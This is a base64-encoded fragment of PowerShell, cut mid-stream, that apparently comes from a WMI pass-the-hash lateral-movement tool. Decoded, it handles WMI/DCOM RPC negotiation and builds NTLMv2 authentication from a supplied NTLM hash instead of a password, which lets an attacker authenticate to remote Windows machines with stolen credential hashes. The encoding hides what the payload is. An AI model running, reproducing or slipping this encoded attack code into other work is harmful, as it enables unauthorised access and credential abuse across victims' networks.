C1lcSAzKQ0KICAgICAgICB7DQogICAgICAgICAgICAkZXJyb3JfY29kZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZVsyNy4uMjRdKQ0KICAgICAgICAgICAgJGVycm9yX2NvZGUgPSAkZXJyb3JfY29kZSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiRXJyb3IgY29kZSAweCRlcnJvcl9jb2RlIg0KICAgICAgICB9DQogICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAyIC1hbmQgISRXTUlfZXhlY3V0ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIGFjY2Vzc2VkIFdNSSBvbiAkdGFyZ2V0X2xvbmciDQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDIpDQogICAgICAgIHsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiJG91dHB1dF91c2VybmFtZSBhY2Nlc3NlZCBXTUkgb24gJHRhcmdldF9sb25nIg0KDQogICAgICAgICAgICBpZigkdGFyZ2V0X3Nob3J0IC1lcSAnMTI3LjAuMC4xJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0X3Nob3J0ID0gJGF1dGhfaG9zdG5hbWUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRhcmdldF91bmljb2RlID0gMHgwNywweDAwICsgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdGFyZ2V0X3Nob3J0ICsgIlsiKQ0KICAgICAgICAgICAgJHRhcmdldF9zZWFyY2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCR0YXJnZXRfdW5pY29kZSkNCiAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gJHRhcmdldF9zZWFyY2ggLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAkV01JX21lc3NhZ2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICAgICAkV01JX21lc3NhZ2UgPSAkV01JX21lc3NhZ2UgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAkdGFyZ2V0X2luZGV4ID0gJFdNSV9tZXNzYWdlLkluZGV4T2YoJHRhcmdldF9zZWFyY2gpDQoNCiAgICAgICAgICAgIGlmKCR0YXJnZXRfaW5kZXggLWx0IDEpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHRhcmdldF9hZGRyZXNzX2xpc3QgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0RW50cnkoJHRhcmdldF9sb25nKS5BZGRyZXNzTGlzdA0KDQogICAgICAgICAgICAgICAgRm9yRWFjaCgkSVBfYWRkcmVzcyBpbiAkdGFyZ2V0X2FkZHJlc3NfbGlzdCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2hvcnQgPSAkSVBfYWRkcmVzcy5JUEFkZHJlc3NUb1N0cmluZw0KICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0X3VuaWNvZGUgPSAweDA3LDB4MDAgKyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR0YXJnZXRfc2hvcnQgKyAiWyIpDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkdGFyZ2V0X3VuaWNvZGUpDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gJHRhcmdldF9zZWFyY2ggLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfaW5kZXggPSAkV01JX21lc3NhZ2UuSW5kZXhPZigkdGFyZ2V0X3NlYXJjaCkNCg0KICAgICAgICAgICAgICAgICAgICBpZigkdGFyZ2V0X2luZGV4IC1ndCAwKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoJHRhcmdldF9sb25nIC1jbmUgJHRhcmdldF9zaG9ydCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJVc2luZyAkdGFyZ2V0X3Nob3J0IGZvciByYW5kb20gcG9ydCBleHRyYWN0aW9uIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZigkdGFyZ2V0X2luZGV4IC1ndCAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0YXJnZXRfYnl0ZXNfaW5kZXggPSAkdGFyZ2V0X2luZGV4IC8gMg0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkdGFyZ2V0X2J5dGVzX2luZGV4ICsgJHRhcmdldF91bmljb2RlLkxlbmd0aCkuLigkdGFyZ2V0X2J5dGVzX2luZGV4ICsgJHRhcmdldF91bmljb2RlLkxlbmd0aCArIDgpXQ0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfcmFuZG9tX3BvcnQpDQogICAgICAgICAgICAgICAgJFdNSV9yYW5kb21fcG9ydF9lbmRfaW5kZXggPSAkV01JX3JhbmRvbV9wb3J0LkluZGV4T2YoIi01RCIpDQoNCiAgICAgICAgICAgICAgICBpZigkV01JX3JhbmRvbV9wb3J0X2VuZF9pbmRleCAtZ3QgMCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX3JhbmRvbV9wb3J0LlN1YlN0cmluZygwLCRXTUlfcmFuZG9tX3BvcnRfZW5kX2luZGV4KQ0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX3JhbmRvbV9wb3J0IC1yZXBsYWNlICItMDAiLCIiDQogICAgICAgICAgICAgICAgJFdNSV9yYW5kb21fcG9ydCA9ICRXTUlfcmFuZG9tX3BvcnQuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAgICAgICAgIFtJbnRdJFdNSV9yYW5kb21fcG9ydF9pbnQgPSAtam9pbiAkV01JX3JhbmRvbV9wb3J0IA0KICAgICAgICAgICAgICAgICRNRU9XID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlKQ0KICAgICAgICAgICAgICAgICRNRU9XID0gJE1FT1cgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgJE1FT1dfaW5kZXggPSAkTUVPVy5JbmRleE9mKCI0RDQ1NEY1NzAxMDAwMDAwMThBRDA5RjM2QUQ4RDAxMUEwNzUwMEMwNEZCNjg4MjAiKQ0KICAgICAgICAgICAgICAgICRNRU9XX2J5dGVzX2luZGV4ID0gJE1FT1dfaW5kZXggLyAyDQogICAgICAgICAgICAgICAgJE9YSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkTUVPV19ieXRlc19pbmRleCArIDMyKS4uKCRNRU9XX2J5dGVzX2luZGV4ICsgMzkpXQ0KICAgICAgICAgICAgICAgICRJUElEID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJE1FT1dfYnl0ZXNfaW5kZXggKyA0OCkuLigkTUVPV19ieXRlc19pbmRleCArIDYzKV0NCiAgICAgICAgICAgICAgICAkT1hJRCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJE9YSUQpDQogICAgICAgICAgICAgICAgJE9YSUQgPSAkT1hJRCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICAkT1hJRF9pbmRleCA9ICRNRU9XLkluZGV4T2YoJE9YSUQsJE1FT1dfaW5kZXggKyAxMDApDQogICAgICAgICAgICAgICAgJE9YSURfYnl0ZXNfaW5kZXggPSAkT1hJRF9pbmRleCAvIDINCiAgICAgICAgICAgICAgICAkb2JqZWN0X1VVSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkT1hJRF9ieXRlc19pbmRleCArIDEyKS4uKCRPWElEX2J5dGVzX2luZGV4ICsgMjcpXQ0KICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQogICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ2xpZW50LlJlY2VpdmVUaW1lb3V0ID0gMzAwMDANCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoJFdNSV9yYW5kb21fcG9ydCkNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkNvbm5lY3RpbmcgdG8gJHRhcmdldF9sb25nYDokV01JX3JhbmRvbV9wb3J0X2ludCINCg0KICAgICAgICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ29ubmVjdCgkdGFyZ2V0X2xvbmcsJFdNSV9yYW5kb21fcG9ydF9pbnQpDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGNhdGNoDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiR0YXJnZXRfbG9uZ2A6JFdNSV9yYW5kb21fcG9ydF9pbnQgZGlkIG5vdCByZXNwb25kIg0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiUmFuZG9tIHBvcnQgZXh0cmFjdGlvbiBmYWlsdXJlIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIg0KICAgICAgICB9DQoNCiAgICAgICAgaWYoJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ29ubmVjdGVkKQ0KICAgICAgICB7DQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0gPSAkV01JX2NsaWVudF9yYW5kb21fcG9ydC5HZXRTdHJlYW0oKQ0KICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQmluZCAyIDB4ZDAsMHgxNiAweDAzIDB4MDAsMHgwMCAweDQzLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2IDB4MDAsMHgwMA0KICAgICAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHhkMCwweDAwDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQmluZF9BdXRoTGVuZ3RoIl0gPSAweDI4LDB4MDANCiAgICAgICAgICAgICRwYWNrZXRfUlBDWyJSUENCaW5kX0F1dGhMZXZlbCJdID0gMHgwNA0KICAgICAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiXSA9IDB4OTcsMHg4MiwweDA4LDB4YTINCiAgICAgICAgICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5GbHVzaCgpICAgIA0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLlJlYWQoJFdNSV9jbGllbnRfcmVjZWl2ZSwwLCRXTUlfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAkYXNzb2NfZ3JvdXAgPSAkV01JX2NsaWVudF9yZWNlaXZlWzIwLi4yM10NCiAgICAgICAgICAgICRXTUlfTlRMTVNTUCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZSkNCiAgICAgICAgICAgICRXTUlfTlRMTVNTUCA9ICRXTUlfTlRMTVNTUCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICRXTUlfTlRMTVNTUF9pbmRleCA9ICRXTUlfTlRMTVNTUC5JbmRleE9mKCI0RTU0NEM0RDUzNTM1MDAwIikNCiAgICAgICAgICAgICRXTUlfTlRMTVNTUF9ieXRlc19pbmRleCA9ICRXTUlfTlRMTVNTUF9pbmRleCAvIDINCiAgICAgICAgICAgICRXTUlfZG9tYWluX2xlbmd0aCA9IERhdGFMZW5ndGgyICgkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAxMikgJFdNSV9jbGllbnRfcmVjZWl2ZQ0KICAgICAgICAgICAgJFdNSV90YXJnZXRfbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRXTUlfTlRMTVNTUF9ieXRlc19pbmRleCArIDQwKSAkV01JX2NsaWVudF9yZWNlaXZlDQogICAgICAgICAgICAkV01JX3Nlc3Npb25fSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWzQ0Li41MV0NCiAgICAgICAgICAgICRXTUlfTlRMTV9jaGFsbGVuZ2UgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAyNCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAzMSldDQogICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTYgKyAkV01JX2RvbWFpbl9sZW5ndGgpLi4oJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTUgKyAkV01JX2RvbWFpbl9sZW5ndGggKyAkV01JX3RhcmdldF9sZW5ndGgpXQ0KICAgICAgICAgICAgJFdNSV90YXJnZXRfdGltZV9ieXRlcyA9ICRXTUlfdGFyZ2V0X2RldGFpbHNbKCRXTUlfdGFyZ2V0X2RldGFpbHMuTGVuZ3RoIC0gMTIpLi4oJFdNSV90YXJnZXRfZGV0YWlscy5MZW5ndGggLSA1KV0NCiAgICAgICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAoJntmb3IgKCRpID0gMDskaSAtbHQgJGhhc2guTGVuZ3RoOyRpICs9IDIpeyRoYXNoLlN1YlN0cmluZygkaSwyKX19KSAtam9pbiAiLSINCiAgICAgICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAkTlRMTV9oYXNoX2J5dGVzLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lID0gKGdldC1jaGlsZGl0ZW0gLXBhdGggZW52OmNvbXB1dGVybmFtZSkuVmFsdWUNCiAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkYXV0aF9ob3N0bmFtZSkNCiAgICAgICAgICAgICRhdXRoX2RvbWFpbiA9ICREb21haW4NCiAgICAgICAgICAgICRhdXRoX2RvbWFpbl9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJGF1dGhfZG9tYWluKQ0KICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZSkNCiAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gJGF1dGhfZG9tYWluX2xlbmd0aFswLDFdDQogICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggPSAkYXV0aF91c2VybmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggPSAkYXV0aF9ob3N0bmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCA9IDB4NDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgNjQpDQogICAgICAgICAgICAkYXV0aF9MTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA2NCkNCiAgICAgICAgICAgICRhdXRoX05UTE1fb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgODgpDQogICAgICAgICAgICAkSE1BQ19NRDUgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuSE1BQ01ENQ0KICAgICAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICROVExNX2hhc2hfYnl0ZXMNCiAgICAgICAgICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0ID0gJHVzZXJuYW1lLlRvVXBwZXIoKQ0KICAgICAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZV9hbmRfdGFyZ2V0KQ0KICAgICAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgKz0gJGF1dGhfZG9tYWluX2J5dGVzDQogICAgICAgICAgICAkTlRMTXYyX2hhc2ggPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMpDQogICAgICAgICAgICAkY2xpZW50X2NoYWxsZW5nZSA9IFtTdHJpbmddKDEuLjggfCBGb3JFYWNoLU9iamVjdCB7InswOlgyfSIgLWYgKEdldC1SYW5kb20gLU1pbmltdW0gMSAtTWF4aW11bSAyNTUpfSkNCiAgICAgICAgICAgICRjbGllbnRfY2hhbGxlbmdlX2J5dGVzID0gJGNsaWVudF9jaGFsbGVuZ2UuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KDQogICAgICAgICAgICAkc2VjdXJpdHlfYmxvYl9ieXRlcyA9IDB4MDEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzID0gJFdNSV9OVExNX2NoYWxsZW5nZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE12Ml9oYXNoDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzKQ0KICAgICAgICAgICAgJHNlc3Npb25fYmFzZV9rZXkgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJE5UTE12Ml9yZXNwb25zZSkNCg0KICAgICAgICAgICAgJGNsaWVudF9zaWduaW5nX2NvbnN0YW50ID0gMHg3MywweDY1LDB4NzMsMHg3MywweDY5LDB4NmYsMHg2ZSwweDIwLDB4NmIsMHg2NSwweDc5LDB4MjAsMHg3NCwweDZmLDB4MjAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MywweDZjLDB4NjksMHg2NSwweDZlLDB4NzQsMHgyZCwweDc0LDB4NmYsMHgyZCwweDczLDB4NjUsMHg3MiwweDc2LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NjUsMHg3MiwweDIwLDB4NzMsMHg2OSwweDY3LDB4NmUsMHg2OSwweDZlLDB4NjcsMHgyMCwweDZiLDB4NjUsMHg3OSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDIwLDB4NmQsMHg2MSwweDY3LDB4NjksMHg2MywweDIwLDB4NjMsMHg2ZiwweDZlLDB4NzMsMHg3NCwweDYxLDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3NCwweDAwDQoNCiAgICAgICAgICAgICRNRDUgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5Lk1ENUNyeXB0b1NlcnZpY2VQcm92aWRlcg0KICAgICAgICAgICAgJGNsaWVudF9zaWduaW5nX2tleSA9ICRNRDUuQ29tcHV0ZUhhc2goJHNlc3Npb25fYmFzZV9rZXkgKyAkY2xpZW50X3NpZ25pbmdfY29uc3RhbnQpDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJE5UTE12Ml9yZXNwb25zZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJE5UTE12Ml9yZXNwb25zZS5MZW5ndGgpDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9ICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoWzAsMV0NCiAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgJE5UTE12Ml9yZXNwb25zZS5MZW5ndGggKyA4OCkNCiAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICAgICAkV01JX25lZ290aWF0ZV9mbGFncyA9IDB4MTUsMHg4MiwweDg4LDB4YTINCg0KICAgICAgICAgICAgJE5UTE1TU1BfcmVzcG9uc2UgPSAweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX0xNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9OVExNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX25lZ290aWF0ZV9mbGFncyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF